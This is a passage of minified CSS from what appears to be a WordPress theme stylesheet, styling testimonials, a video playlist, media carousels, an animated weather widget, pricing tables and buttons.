.penci-testi-bq-icon:before,.penci-testi-s5 .penci-testi-bq-icon:before{position:absolute;display:inline-block;font-size:26px;color:rgba(0,0,0,.1);right:0;top:-8px;transform:rotate(180deg)}.penci-testi-s4.pcimgpos-right .penci-testi-bq-icon:before{left:0;right:auto;transform:none}.penci-testi-s4 .penci-testi-company span{display:inline-block}.penci-testi-s5 .penci-testimonail{text-align:left}.penci-testi-s5 .penci-testi-blockquote{padding:20px;background:#f5f5f5;margin-bottom:20px;position:relative}.penci-testi-s5 .penci-testi-blockquote:after{content:"";position:absolute;bottom:-11px;left:15px;width:0;height:0;border-style:solid;border-width:11px 10px 0 10px;border-color:#f5f5f5 transparent transparent transparent;z-index:3}.penci-testi-s5 .penci-testi-avatar,.penci-testi-s5 .penci-testi-name,.post-entry .penci-testi-s5 h3.penci-testi-name{margin-top:0}.penci-testi-s5 .penci-testi-company,.penci-testi-s5 .penci-testi-rating{margin-top:5px}.penci-media-obj{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start}.penci-media-obj .penci-mobj-img{margin-right:20px;position:relative}.penci-media-obj .penci-mobj-body{flex:1}.penci-media-obj.penci-mobj-right .penci-mobj-img{-webkit-box-ordinal-group:2;-webkit-order:1;-ms-flex-order:1;order:1;margin-right:0;margin-left:20px}.penci-video_playlist .penci-block_content{position:relative;display:flex;flex-wrap:wrap}.penci-video_playlist .penci-playlist-title{background:var(--pcaccent-cl);color:#fff;min-height:70px;width:100%;padding:0 15px;line-height:17px;font-size:20px;z-index:9}.penci-video_playlist .penci-playlist-title .playlist-title-icon{font-size:27px;float:left;margin-right:10px;height:70px;line-height:70px;width:40px;text-align:center;font-weight:400}.penci-video_playlist .penci-playlist-title a{color:inherit}.penci-video_playlist .penci-playlist-title .fa{padding-right:5px}.penci-video_playlist .penci-playlist-title h2{padding-top:14px;font-size:18px;clear:none;color:inherit;margin:0}.penci-video_playlist .penci-playlist-title .penci-videos-number{font-size:11px;display:block;float:left}.penci-video_playlist .penci-video-play{background-color:#111;position:relative;width:66%;float:left}.penci-video_playlist .penci-video-nav{width:34%;height:100%;float:right;position:absolute;top:0;right:0;border-width:0 1px 1px 0;background:#f5f5f5;overflow:hidden}.penci-video_playlist .penci-custom-scroll{overflow-y:auto;height:100%}.penci-video_playlist .penci-custom-scroll::-webkit-scrollbar{width:6px;background:#dedede}.penci-video_playlist .penci-custom-scroll::-webkit-scrollbar-thumb{background-color:var(--pcaccent-cl);border-radius:0;-webkit-border-radius:0;-moz-border-radius:0}.penci-video_playlist .penci-custom-scroll::-webkit-scrollbar-corner{background-color:#dedede}.penci-video_playlist .fluid-width-video-wrapper{padding-top:56.25%!important}.penci-video_playlist .penci-video-play{background-color:#111;position:relative;width:66%;float:left}.penci-video_playlist .penci-video-play .video-player-wrapper{position:relative;z-index:2}.penci-video_playlist .penci-video-play .loader-overlay{z-index:1}.penci-video_playlist .penci-video-play .video-frame{visibility:hidden}.penci-video_playlist .penci-video-play iframe{width:100%}.penci-video_playlist .fluid-width-video-wrapper{position:relative;z-index:2}.fluid-width-video-wrapper embed,.fluid-width-video-wrapper iframe,.fluid-width-video-wrapper object{position:absolute;top:0;left:0;width:100%;height:100%}.penci-video_playlist .penci-video-nav .penci-video-thumbnail{width:100px;height:56px;float:left}.penci-video_playlist .penci-video-thumbnail:after{content:"";position:absolute;top:0;left:0;width:100%;height:100%;background:#000;opacity:0;z-index:1;transition:opacity .3s ease}.penci-video_playlist .penci-video-nav .penci-video-thumbnail:hover:after{opacity:.3}.penci-video_playlist .penci-video-nav .playlist-panel-item{float:left;width:20px;text-align:left;line-height:56px;font-size:13px;color:#111}.penci-video_playlist .penci-video-nav .penci-video-playlist-item{padding:12px 15px;display:block;overflow:hidden;cursor:pointer;border-bottom:1px solid #dedede;transition:all .3s}.penci-video_playlist .penci-video-nav .penci-video-playlist-item:hover{background:#dedede}.penci-video_playlist .penci-video-playlist-item .penci-video-play-icon{display:none;color:var(--pcaccent-cl)}.penci-video_playlist .penci-video-playlist-item .penci-video-paused-icon{display:none}.penci-video_playlist .penci-video-playlist-item.is-playing .penci-video-play-icon{display:block}.penci-video_playlist .penci-video-playlist-item.is-playing .penci-video-number{display:none}.penci-video_playlist .penci-video-playlist-item.is-paused .penci-video-paused-icon{display:block}.penci-video_playlist .penci-video-playlist-item.is-paused .penci-video-number{display:none}.penci-video_playlist .penci-video-playlist-item .penci-video-title{font-size:13px;font-weight:400;line-height:1.3;font-family:inherit;width:100%;display:block;float:left;margin-top:-2px;transition:all .3s;color:#000}.penci-video_playlist .penci-video-playlist-item .penci-video-title:hover{color:var(--pcaccent-cl)}.penci-video_playlist .penci-video-playlist-item .penci-video-duration{float:left;font-size:11px;color:#888;margin-top:5px;line-height:1}.pencisc-column-1.penci-video_playlist .penci-video-nav{width:100%;position:relative}.pencisc-column-1.penci-video_playlist .penci-video-play{width:100%}.pencisc-column-1.penci-video_playlist .penci-video-nav .penci-video-thumbnail,.pencisc-column-2.penci-video_playlist .penci-video-nav .penci-video-thumbnail{width:75px;height:42.18px}.pencisc-column-1.penci-video_playlist .penci-video-nav .penci-video-playlist-nav{min-height:100px;max-height:283px}.pencisc-column-1.penci-video_playlist .penci-video-nav .playlist-panel-item,.pencisc-column-2.penci-video_playlist .penci-video-nav .playlist-panel-item{position:absolute;bottom:0;left:0;font-size:10px;width:20px;height:20px;text-align:center;vertical-align:middle;line-height:20px;z-index:10;background:var(--pcaccent-cl);color:#fff}.penci-media-carousels{overflow:hidden}.penci-advanced-carousel-mg{margin-left:-5px;margin-right:-5px;display:block;clear:both}.penci-media-carousels .penci-image-holder[style*=background-image]{background-color:transparent}.penci-media-carousels .overlay-icon-format{opacity:1;transform:scale(1);-webkit-transform:scale(1);-moz-transform:scale(1);transition:all .3s}.pc-ctpos-on .overlay-icon-format{top:10px;right:10px;z-index:10;margin:0;left:auto}.penci-media-carousels .penci-media-inner{padding:0 5px}.penci-media-carousels .penci-media-inct{display:-ms-flexbox;display:flex;flex-direction:column;position:relative}.penci-media-carousels .penci-media-content{text-align:center;margin-top:20px}.penci-media-img{position:relative}.penci-media-img>a{display:block}.penci-media-carousels.pc-ctpos-above .penci-media-img{order:3}.penci-media-carousels.pc-ctpos-above .penci-media-content{order:1;margin-top:0;margin-bottom:20px}.penci-media-carousels.pc-ctpos-on .penci-media-content{margin:0;position:absolute;top:0;left:0;right:0;bottom:0;width:100%;height:100%;display:-ms-flexbox;display:flex;flex-direction:row;z-index:9;align-items:flex-end}.pc-ctpos-on .penci-media-content .pc-media-ctinner{width:100%;padding:15px 10px;position:relative;z-index:2}.pc-media-ctinner{position:relative}.pc-ctpos-on .penci-media-content>a,.penci-media-carousels .pc-adcr-overlay,.penci-media-carousels .pc-media-ctinner:before{position:absolute;font-size:0;top:0;left:0;width:100%;height:100%;display:block;z-index:9}.penci-media-carousels .pc-media-ctinner:before{z-index:-1;content:""}.pc-adcr-overlay,.penci-media-carousels .pc-media-ctinner:before{opacity:.5;transition:all .3s}.penci-media-carousels .penci-media-inct:hover .pc-media-ctinner:before .penci-media-inct:hover .pc-adcr-overlay{opacity:.7}.penci-media-carousels .penci-media-stit{line-height:1.4;margin-bottom:5px;font-size:13px;color:#666}.penci-media-carousels .penci-media-title{font-size:18px;font-family:var(--pchead-font);font-weight:var(--pchead-wei);margin:0}.penci-media-carousels .penci-media-desc{margin-top:8px;line-height:1.6}.penci-media-rmbtn i,.penci-media-rmbtn svg{color:inherit;font-size:inherit}.penci-media-carousels .pc-icpos-left i,.penci-media-carousels .pc-icpos-left svg{margin-right:5px}.penci-media-carousels .pc-icpos-right i,.penci-media-carousels .pc-icpos-right svg{margin-left:5px}.penci-weather-widget{overflow:hidden;color:#111;position:relative}.penci-weather-widget.loading span.penci-wuser-gps svg{animation:penci-spin .4s infinite linear}.penci-weather-city{font-size:24px;font-weight:700;line-height:1;margin-bottom:7px}.penci-weather-condition{font-size:14px;line-height:1;text-transform:capitalize;opacity:.8}.penci-location-icon{position:absolute;top:0;right:10px;font-size:22px;opacity:.6;z-index:1}.penci-location-icon:hover{cursor:pointer;opacity:.9}.penci-weather-temperature{padding:3px 0;display:inline-block;width:100%;float:left;text-align:center}@media screen and (max-width:1018px){.penci-weather-temperature{margin-bottom:-6px;padding:0}}.penci-weather-temp-wrap{display:inline-block}.penci-weather-now{text-align:center;line-height:1;font-weight:300;align-content:center;width:30%;-webkit-touch-callout:none;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}@media screen and (max-width:1018px){.penci-weather-now{padding:28px 0;position:relative;left:-10px;width:90px;margin-left:12px}}@media screen and (min-width:768px) and (max-width:1018px){.penci-weather-now{margin-left:0}}@media screen and (max-width:767px){.penci-weather-now{width:100px}}.penci-weather-now .penci-big-degrees{font-size:40px}@media screen and (max-width:1018px){.penci-weather-now .penci-big-degrees{font-size:32px}}.penci-weather-now .penci-circle{font-size:30px;position:relative;top:-6px;opacity:.6;line-height:1;vertical-align:top}.penci-weather-now .penci-weather-unit{font-size:16px;position:relative;top:-4px;font-weight:400;opacity:.6;left:-2px;line-height:1;vertical-align:top}.penci-weather-now:hover{cursor:pointer}.penci-weather-lo-hi{width:20%;text-align:center}.penci-weather-lo-hi__content{padding:15px 0}.penci-weather-lo-hi__content .penci-circle{padding-left:3px}.penci-weather-degrees-wrap{padding:15px 0;text-align:right;display:flex;flex-wrap:wrap;flex-direction:row;justify-content:space-between}@media screen and (max-width:1018px){.penci-weather-degrees-wrap{padding:10px}}.penci-weather-degrees-wrap i{position:relative;top:1px;font-size:16px;color:#b3b3b3;right:5px}.penci-weather-degrees-wrap .penci-small-degrees{font-size:12px}.penci-weather-degrees-wrap .penci-circle{font-size:18px;position:relative;right:3px;top:3px}.penci-weather-information{font-size:12px;position:relative;padding:5px 0;display:inline-block;width:100%;vertical-align:top;opacity:.6;margin-top:19px;border-top:1px solid #ececec;border-bottom:1px solid #ececec}.penci-weather-information i{font-size:16px;position:relative;top:2px;margin-right:5px}.penci-weather-section{float:left;width:33%}.penci_humidty{text-align:right;padding-right:10px}.penci_wind{text-align:center}.penci_clouds{text-align:left;padding-left:10px}.penci-weather-week{padding:15px 8px;width:100%;text-align:center;line-height:1;position:relative;display:block;margin-bottom:-5px;clear:both;overflow:hidden}.penci-weather-week:before{content:"";width:100%;height:100%;position:absolute;top:0;left:0;background-color:var(--pcaccent-cl);opacity:.07}.penci-weather-days{width:20%;float:left;text-align:center;text-transform:uppercase;line-height:1}.penci-weather-days .penci-day{margin-bottom:8px;font-size:11px;opacity:.5}.penci-weather-days .penci-day-degrees{font-size:20px;position:relative;left:4px;line-height:14px;opacity:.7}.penci-weather-days .penci-circle{position:relative;right:5px}.penci-weather-days .penci-day{margin-top:8px;font-size:11px;opacity:.5}.penci-weather-set-location{display:none;position:absolute;top:0}.penci-weather-set-location .penci-location-set-input{height:20px;font-size:20px;font-weight:700;text-transform:uppercase;border:0;padding:0 10px}.penci-weather-set-location .penci-location-set-input:focus~label{top:-20px;font-size:11px;opacity:.5}.penci-show-location{display:block!important}.penci-show-location label{position:absolute;top:0;left:10px;font-size:13px;opacity:.6;pointer-events:none;-webkit-transition:all .2s ease;-moz-transition:all .2s ease;-o-transition:all .2s ease;transition:all .2s ease}.penci-weather-animated-icon{width:45%;position:relative;text-align:center}.penci-weather-animated-icon i{width:70px;font-size:70px;opacity:.4;top:15px;left:0;right:auto}.penci_facebook_widget .penci-block_content{text-align:center}.penci_facebook_widget .fb_iframe_widget{max-width:340px}.weather-icon{position:relative;margin:0 auto .1em;width:1em;height:.9em;font-size:35px}.penci-weather-animated-icon .weather-icon{font-size:75px}.penci-weather-widget [class*=" icon-"]:after,.penci-weather-widget [class*=" icon-"]:before,.penci-weather-widget [class^=icon-]:after,.penci-weather-widget [class^=icon-]:before{font-family:weathericons}.icon-thunder-animi{position:absolute;width:100%;height:100%}.icon-thunder-animi:after,.icon-thunder-animi:before{content:"\f010";position:absolute;width:100%;z-index:2;font-size:3em;left:40%;-webkit-transform:translateX(-50%) translateY(-30%);-ms-transform:translateX(-50%) translateY(-30%);transform:translateX(-50%) translateY(-30%)}.icon-thunder-animi:after{color:orange;z-index:2;font-size:2.5em;top:90%}.icon-moon,.icon-rainy-animi,.icon-rainy-animi-2,.icon-rainy-animi-4,.icon-rainy-animi-5,.icon-windysnow-animi,.icon-windysnow-animi-2{position:absolute;width:100%;height:100%}.icon-rainy-animi-2:after,.icon-rainy-animi-2:before,.icon-rainy-animi-4:after,.icon-rainy-animi-4:before,.icon-rainy-animi-5:after,.icon-rainy-animi-5:before,.icon-rainy-animi:after,.icon-rainy-animi:before,.icon-windysnow-animi-2:after,.icon-windysnow-animi-2:before,.icon-windysnow-animi:after,.icon-windysnow-animi:before{content:"\f036";position:absolute;z-index:2;opacity:.6}.icon-rainy-animi-2:after,.icon-rainy-animi-4:after,.icon-rainy-animi-5:after,.icon-rainy-animi:after,.icon-windysnow-animi-2:after,.icon-windysnow-animi:after{opacity:0;-webkit-animation-fill-mode:forwards;animation-fill-mode:forwards}.animi-icons-wrap{font-size:.14em;position:absolute;z-index:2;left:48%;bottom:0;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);width:2.5em;height:2.5em}.icon-rainy-animi-2:after,.icon-rainy-animi-2:before,.icon-rainy-animi-4:after,.icon-rainy-animi-4:before,.icon-rainy-animi-5:after,.icon-rainy-animi-5:before,.icon-rainy-animi:after,.icon-rainy-animi:before{content:"\f078";top:calc(50% - .43em);left:0;right:auto;width:.96em;height:.96em;color:#fff}.icon-rainy-animi-2:after,.icon-rainy-animi-2:before{right:0;left:auto;top:calc(50% - .43em)}.icon-rainy-animi-4:after,.icon-rainy-animi-4:before{left:calc(50% - .43em);top:calc(100% - .96em)}.icon-rainy-animi-5:after,.icon-rainy-animi-5:before{left:calc(50% - .43em);top:0}.drizzle-icons .icon-rainy-animi-2:after,.drizzle-icons .icon-rainy-animi-2:before,.drizzle-icons .icon-rainy-animi-4:after,.drizzle-icons .icon-rainy-animi-4:before,.drizzle-icons .icon-rainy-animi-5:after,.drizzle-icons .icon-rainy-animi-5:before,.drizzle-icons .icon-rainy-animi:after,.drizzle-icons .icon-rainy-animi:before{-webkit-transform:rotate(30deg);-ms-transform:rotate(30deg);transform:rotate(30deg)}.icon-windysnow-animi-2:after,.icon-windysnow-animi-2:before,.icon-windysnow-animi:after,.icon-windysnow-animi:before{content:"\f021";width:100%;height:100%;font-size:1.8em;top:0;left:.3em}.icon-windysnow-animi-2:after,.icon-windysnow-animi:after{width:2em;height:2em}.icon-windysnow-animi-2:after,.icon-windysnow-animi-2:before{font-size:1em;top:1.5em;right:.7em;left:auto}.icon-windysnow-animi-2:after{width:2em;height:2em;left:-.5em}.icon-moon:after{content:"\f02e";position:absolute;font-size:.65em;left:0;right:0;top:.2em}.icon-moon:before{display:none}.icon-moon-animi:before{content:"\f02e";position:absolute;right:-.3em;font-size:.35em;top:.2em}.icon-sun:after{content:"\f00d";position:absolute;color:orange;font-size:.9em;left:0;right:0}.icon-sun-animi:after{content:"\f00d";position:absolute;color:orange;right:-.3em;top:.07em;font-size:.4em}.basecloud:before,.icon-cloud:after{font-family:FontAwesome!important;content:"\f0c2"!important;font-size:.86em;position:absolute;left:0;right:0;z-index:2;color:var(--pcaccent-cl);text-shadow:var(--pcbg-cl) 2px 0 0,var(--pcbg-cl) 1.75517px .958851px 0,var(--pcbg-cl) 1.0806px 1.68294px 0,var(--pcbg-cl) .141474px 1.99499px 0,var(--pcbg-cl) -.832294px 1.81859px 0,var(--pcbg-cl) -1.60229px 1.19694px 0,var(--pcbg-cl) -1.97998px .28224px 0,var(--pcbg-cl) -1.87291px -.701566px 0,var(--pcbg-cl) -1.30729px -1.5136px 0,var(--pcbg-cl) -.421592px -1.95506px 0,var(--pcbg-cl) .567324px -1.91785px 0,var(--pcbg-cl) 1.41734px -1.41108px 0,var(--pcbg-cl) 1.92034px -.558831px 0}.basecloud:before{left:50%;right:auto;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%)}.icon-basecloud-bg:after{content:"\f07d";z-index:1}.icon-cloud-behind:after{font-size:.48em;content:"\f041";position:absolute;left:-.2em;top:.4em;z-index:1;opacity:.6}.icon-mist:before{content:"\f021";position:absolute;left:0;right:0}.icon-mist-animi:before{content:"\f021";position:absolute;left:0;right:0;display:none}.is-animated .icon-thunder-animi:before{-webkit-animation:flashing 2s ease-out infinite;animation:flashing 2s ease-out infinite}.is-animated .icon-thunder-animi:after{-webkit-animation:flashing-reverse 2s steps(1) infinite;animation:flashing-reverse 2s steps(1) infinite}.is-animated .icon-rainy-animi:after{-webkit-animation:rain-animi-effect .2s ease-out infinite;animation:rain-animi-effect .2s ease-out infinite}.is-animated .icon-rainy-animi-2:after{-webkit-animation:rain-animi-effect .25s ease-out infinite;animation:rain-animi-effect .25s ease-out infinite}.is-animated .icon-rainy-animi-4:after{-webkit-animation:rain-animi-effect .35s ease-out infinite;animation:rain-animi-effect .35s ease-out infinite}.is-animated .icon-rainy-animi-5:after{-webkit-animation:rain-animi-effect .4s ease-out infinite;animation:rain-animi-effect .4s ease-out infinite}.is-animated .drizzle-icons .icon-rainy-animi:after{-webkit-animation:drizzle-animi-effect 2.2s ease-out infinite;animation:drizzle-animi-effect 2.2s ease-out infinite}.is-animated .drizzle-icons .icon-rainy-animi-2:after{-webkit-animation:drizzle-animi-effect 2.3s ease-out infinite;animation:drizzle-animi-effect 2.3s ease-out infinite}.is-animated .drizzle-icons .icon-rainy-animi-4:after{-webkit-animation:drizzle-animi-effect 2.5s ease-out infinite;animation:drizzle-animi-effect 2.5s ease-out infinite}.is-animated .drizzle-icons .icon-rainy-animi-5:after{-webkit-animation:drizzle-animi-effect 2.6s ease-out infinite;animation:drizzle-animi-effect 2.6s ease-out infinite}.is-animated .showers-icons .icon-rainy-animi:after{-webkit-animation:drizzle-animi-effect .2s ease-out infinite;animation:drizzle-animi-effect .2s ease-out infinite}.is-animated .showers-icons .icon-rainy-animi-2:after{-webkit-animation:drizzle-animi-effect .23s ease-out infinite;animation:drizzle-animi-effect .23s ease-out infinite}.is-animated .showers-icons .icon-rainy-animi-4:after{-webkit-animation:drizzle-animi-effect .18s ease-out infinite;animation:drizzle-animi-effect .18s ease-out infinite}.is-animated .showers-icons .icon-rainy-animi-5:after{-webkit-animation:drizzle-animi-effect .44s ease-out infinite;animation:drizzle-animi-effect .44s ease-out infinite}.is-animated .icon-windysnow-animi-2:after,.is-animated .icon-windysnow-animi:after{-webkit-animation:rain-animi-effect-with-rotate 2s ease-out infinite;animation:rain-animi-effect-with-rotate 2s ease-out infinite}.is-animated .icon-windysnow-animi-2:after{-webkit-animation:rain-animi-effect-with-rotate 1.5s ease-out infinite;animation:rain-animi-effect-with-rotate 1.5s ease-out infinite}.is-animated .icon-moon:after{-webkit-animation:penci-float-y 2s linear infinite;animation:penci-float-y 2s linear infinite}.is-animated .icon-moon-animi:before{-webkit-animation:penci-float-y 2s linear infinite;animation:penci-float-y 2s linear infinite}.is-animated .icon-sun:after{-webkit-animation:penci-spin 8s infinite linear;animation:penci-spin 8s infinite linear}.is-animated .icon-sun-animi:after{-webkit-animation:penci-spin 8s infinite linear;animation:penci-spin 8s infinite linear}.is-animated .icon-cloud-behind:after{-webkit-animation:passing 2s linear infinite;animation:passing 2s linear infinite}.is-animated .icon-mist:before{-webkit-animation:penci-float-x 2s infinite ease;animation:penci-float-x 2s infinite ease}.is-animated .icon-mist-animi:before{display:inline-block;-webkit-animation:burst 2s infinite linear;animation:burst 2s infinite linear}.penci-weather-widget .icon-basecloud-bg:after{color:#1db523}@-webkit-keyframes rain-animi-effect{0%{opacity:1}100%{opacity:0;-webkit-transform:translateY(3em);transform:translateY(3em)}}@keyframes rain-animi-effect{0%{opacity:1}100%{opacity:0;-webkit-transform:translateY(3em);transform:translateY(3em)}}@-webkit-keyframes rain-animi-effect-with-rotate{0%{opacity:1;-webkit-transform:translateY(0) rotate(0);transform:translateY(0) rotate(0)}100%{opacity:0;-webkit-transform:translateY(1em) rotate(360deg);transform:translateY(1em) rotate(360deg)}}@keyframes rain-animi-effect-with-rotate{0%{opacity:1;-webkit-transform:translateY(0) rotate(0);transform:translateY(0) rotate(0)}100%{opacity:0;-webkit-transform:translateY(1em) rotate(360deg);transform:translateY(1em) rotate(360deg)}}@-webkit-keyframes drizzle-animi-effect{0%{opacity:1;-webkit-transform:translateY(0) translateX(0) rotate(10deg);transform:translateY(0) translateX(0) rotate(10deg)}100%{opacity:0;-webkit-transform:translateY(3em) translateX(-3em) rotate(20deg);transform:translateY(3em) translateX(-3em) rotate(20deg)}}@keyframes drizzle-animi-effect{0%{opacity:1;-webkit-transform:translateY(0) translateX(0) rotate(10deg);transform:translateY(0) translateX(0) rotate(10deg)}100%{opacity:0;-webkit-transform:translateY(3em) translateX(-3em) rotate(20deg);transform:translateY(3em) translateX(-3em) rotate(20deg)}}@-webkit-keyframes penci-float-y{0%{-webkit-transform:translateY(0);transform:translateY(0)}50%{-webkit-transform:translateY(-6px);transform:translateY(-6px)}100%{-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes penci-float-y{0%{-webkit-transform:translateY(0);transform:translateY(0)}50%{-webkit-transform:translateY(-6px);transform:translateY(-6px)}100%{-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes penci-spin{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes penci-spin{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@-webkit-keyframes passing{0%{-webkit-transform:translateX(50%);transform:translateX(50%);opacity:0}50%{-webkit-transform:translateX(0);transform:translateX(0);opacity:1}100%{-webkit-transform:translateX(-50%);transform:translateX(-50%);opacity:0}}@keyframes passing{0%{-webkit-transform:translateX(50%);transform:translateX(50%);opacity:0}50%{-webkit-transform:translateX(0);transform:translateX(0);opacity:1}100%{-webkit-transform:translateX(-50%);transform:translateX(-50%);opacity:0}}@-webkit-keyframes burst{0%{opacity:.6}50%{-webkit-transform:scale(1.8);transform:scale(1.8);opacity:0}100%{opacity:0}}@keyframes burst{0%{opacity:.6}50%{-webkit-transform:scale(1.8);transform:scale(1.8);opacity:0}100%{opacity:0}}@-webkit-keyframes penci-float-x{0%{-webkit-transform:translateX(0);transform:translateX(0)}50%{-webkit-transform:translateX(-6px);transform:translateX(-6px)}100%{-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes penci-float-x{0%{-webkit-transform:translateX(0);transform:translateX(0)}50%{-webkit-transform:translateX(-6px);transform:translateX(-6px)}100%{-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes flashing{0%,100%,50%{opacity:1}25%,75%{opacity:0}}@keyframes flashing{0%,100%,50%{opacity:1}25%,75%{opacity:0}}@-webkit-keyframes flashing-reverse{0%,100%,50%{opacity:0}25%,75%{opacity:1}}@keyframes flashing-reverse{0%,100%,50%{opacity:0}25%,75%{opacity:1}}span.penci-wuser-gps{position:absolute;top:0;right:0;opacity:.5;cursor:pointer}span.penci-wuser-gps svg{width:30px;height:30px}.penci-pricing-item{color:#888;text-align:center;padding:20px;font-size:15px;box-sizing:content-box;overflow:hidden;position:relative}.penci-pricing_featured.penci-pricing-f-hheight{padding-top:50px;padding-bottom:50px;transform:translateY(-30px);position:relative}@media (min-width:768px){.penci-pricing_featured.penci-pricing-f-scale{background:var(--pcbg-cl);transform:scale(1.15);-webkit-transform:scale(1.15);position:relative;z-index:3}}.penci-pricing_featured .penci-pricing-ribbon{position:absolute;height:60px;width:38px;background:var(--pcaccent-cl);color:#fff;border-bottom-left-radius:20px;border-bottom-right-radius:20px;right:15px;top:0;padding-bottom:15px;display:flex;align-items:flex-end;justify-content:center;font-size:18px;z-index:5}.penci-pricing_featured .penci-pricing-ribbon-text{position:absolute;top:18px;right:-67px;padding:4px 0;width:200px;background-color:#ff6618;color:#fff;transform:rotate(40deg);text-align:center;font-size:12px;line-height:1.3em;z-index:5;text-transform:uppercase;font-family:var(--pchead-font)}.penci-pricing-item.penci-pricing-s1{border:1px solid var(--pcborder-cl)}.penci-pricing-item.penci-pricing-s2{box-shadow:0 15px 30px 0 rgba(0,0,0,.1);background-color:#ffff;border-radius:15px}.penci-pricing-item.penci-pricing-s2 .penci-pricing-btn{border-radius:10px}.penci-pricing-item:after{content:"";display:table;width:100%}.penci-pricing-item .penci-pricing-inner{position:relative}.penci-pricing-item .penci-pricing-image{width:150px;text-align:center;margin:0 auto 20px;overflow:hidden}.penci-pricing-item .penci-pricing-image img{height:auto;display:inline-block;vertical-align:top}.penci-pricing-item .penci-pricing-icon{text-align:center;font-size:50px;margin-bottom:20px;line-height:1}.penci-pricing-item .penci-pricing-icon i{font-size:inherit;color:inherit;display:inline-block;vertical-align:top}.penci-pricing-item .penci-pricing-header{margin-bottom:20px}.penci-pricing-fheader .penci-pricing-header{margin-top:-20px;margin-right:-20px;margin-left:-20px;padding:20px 0;background:#fff000}.penci-pricing_featured.penci-pricing-f-hheight.penci-pricing-fheader .penci-pricing-header{padding-top:50px;margin-top:-50px}.penci-pricing-item .penci-pricing-title{font-size:36px;font-weight:700;line-height:1}.penci-pricing-item .penci-pricing-subtitle{color:#888;line-height:1.3;margin-top:10px}.penci-pricing-item .penci-price-unit,.penci-pricing-item .penci-pricing-title{color:#111}.penci-pricing-item .penci-pricing-price{font-size:48px;line-height:1;display:inline-block}.penci-pricing-item .penci-pricing-unit{display:block}.penci-pricing-oneline .penci-pricing-unit{display:inline-block}.penci-pricing-item .penci-pricing-featured{margin-top:20px;margin-bottom:30px;font-size:16px}.penci-pricing-btn-above .penci-pricing-featured{margin-bottom:5px}.penci-pricing-btn-above .penci-pricing-pbutton{margin-top:20px}.penci-pricing-item .penci-pricing-featured ol,.penci-pricing-item .penci-pricing-featured ul{margin:0;padding:0}.penci-pricing-item .penci-pricing-featured li{margin-left:0;list-style:none;margin-bottom:10px}.penci-pricing-item .penci-pricing-featured a,.penci-pricing-item .penci-pricing-featured div,.penci-pricing-item .penci-pricing-featured li,.penci-pricing-item .penci-pricing-featured ol,.penci-pricing-item .penci-pricing-featured p,.penci-pricing-item .penci-pricing-featured span,.penci-pricing-item .penci-pricing-featured strong,.penci-pricing-item .penci-pricing-featured ul{font-size:inherit;font-family:inherit;font-weight:inherit;letter-spacing:inherit;text-transform:inherit;font-style:inherit;text-decoration:inherit;line-height:1.3}.penci-pricing-item .penci-pricing-featured li:last-child{margin-bottom:0}.penci-pricing-item .penci-pricing-btn{display:block;width:100%;font-size:15px;box-sizing:border-box;max-width:100%;text-decoration:none!important;margin-left:auto;margin-right:auto;color:#fff}.penci-pricing-btn-borders .penci-pricing-btn{background:0 0!important;border:2px solid;color:var(--pctext-cl)}.penci-pricing-btn-borders .penci-pricing-btn:hover{border-color:var(--pcaccent-cl);color:var(--pcaccent-cl)}@media (max-width:767px){.penci-pricing_featured.penci-pricing-f-hheight{transform:translateY(0);padding-top:20px;padding-bottom:20px}.penci-pricing_featured.penci-pricing-f-hheight.penci-pricing-fheader .penci-pricing-header{padding-top:20px;margin-top:-20px}}.pcbtn-wrapper{display:block}.pcbtn-align-left{text-align:left}.pcbtn-align-center{text-align:center}.pcbtn-align-right{text-align:right}.pcbtn-wrapper a.pcbtn{display:inline-block;text-decoration:none;background:#f2f2f2;color:#333;position:relative;font-family:var(--pchead-font);font-size:16px;vertical-align:top;transition:color .3s,transform .3s}.pcbtn-wrapper a.pcbtn:before{content:"";z-index:1;position:absolute;top:0;left:0;right:0;bottom:0;width:100%;height:100%;display:block;opacity:0;transition:all .3s}.pcbtn-wrapper a.pcbtn:hover:before{opacity:1}.pcbtn-bordered .pcbtn-wrapperin,.pcbtn-wrapper a.pcbtn-bordered:before{border:2px solid}.pcbtn-bstyle-dotted .pcbtn-wrapperin,.pcbtn-wrapper a.pcbtn-bstyle-dotted:before{border-style:dotted}.pcbtn-bstyle-dashed .pcbtn-wrapperin,.pcbtn-wrapper a.pcbtn-bstyle-dashed:before{border-style:dashed}.pcbtn-bstyle-double .pcbtn-wrapperin,.pcbtn-wrapper a.pcbtn-bstyle-double:before{border-style:double}.pcbtn-bstyle-groove .pcbtn-wrapperin,.pcbtn-wrapper a.pcbtn-bstyle-groove:before{border-style:groove}.pcbtn-bstyle-ridge .pcbtn-wrapperin,.pcbtn-wrapper a.pcbtn-bstyle-ridge:before{border-style:ridge}.pcbtn-bstyle-inset .pcbtn-wrapperin,.pcbtn-wrapper a.pcbtn-bstyle-inset:before{border-style:inset}.pcbtn-bstyle-outset .pcbtn-wrapperin,.pcbtn-wrapper a.pcbtn-bstyle-outset:before{border-style:outset}.pcbtn-bstyle-gradient .pcbtn-wrapperin,.pcbtn-wrapper a.pcbtn-bstyle-gradient:before{border-image:linear-gradient(360deg,var(--pcaccent-cl),#bbb);border-image:-webkit-linear-gradient(360deg,var(--pcaccent-cl),#bbb);border-image-slice:1}.pcbtn-align-justify a.pcbtn{display:block;width:100%}@media (max-width:1024px){.pcbtn-talign-left{text-align:left}.pcbtn-talign-center{text-align:center}.pcbtn-talign-right{text-align:right}.pcbtn-talign-center a.pcbtn,.pcbtn-talign-left a.pcbtn,.pcbtn-talign-right a.pcbtn{width:auto;display:inline-block}.pcbtn-talign-justify a.pcbtn{display:block;width:100%}}@media (max-width:767px){.pcbtn-malign-left{text-align:left}.pcbtn-malign-center{text-align:center}.pcbtn-malign-right{text-align:right}.pcbtn-malign-center 